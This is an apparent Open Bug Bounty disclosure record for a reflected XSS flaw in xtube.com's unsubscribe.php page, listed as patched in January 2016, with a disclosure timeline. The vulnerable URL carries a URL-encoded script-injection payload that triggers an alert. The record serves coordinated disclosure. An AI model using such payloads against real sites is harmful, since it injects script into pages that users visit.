xtube.com XSS vulnerability

2015-09-27T06:40:00
ID OBB:89053
Type openbugbounty
Reporter RahulKankrale
Modified 2016-01-30T22:58:00

Description

Vulnerable URL:
http://www.xtube.com/unsubscribe.php?email=%27%22%3E%3E%3C/title%3E%27%22%3ESCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28/XSSPOSED/%29%3C/SCRIPT%3E=
Details:

Description| Value
---|---
Patched:| Yes, at 30.01.2016
Latest check for patch:| 30.01.2016 22:58 GMT
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 1029
Google Pagerank| 4
VIP website status:| Yes
Check xtube.com SSL connection:| (Grade: C+)

Coordinated Disclosure Timeline:

Description| Value
---|---
Vulnerability reported| 27 September, 2015 06:40 GMT
Vulnerability existence verified and confirmed| 27 September, 2015 06:43 GMT
Vulnerability patched by the website owner| 30 January, 2016 22:58 GMT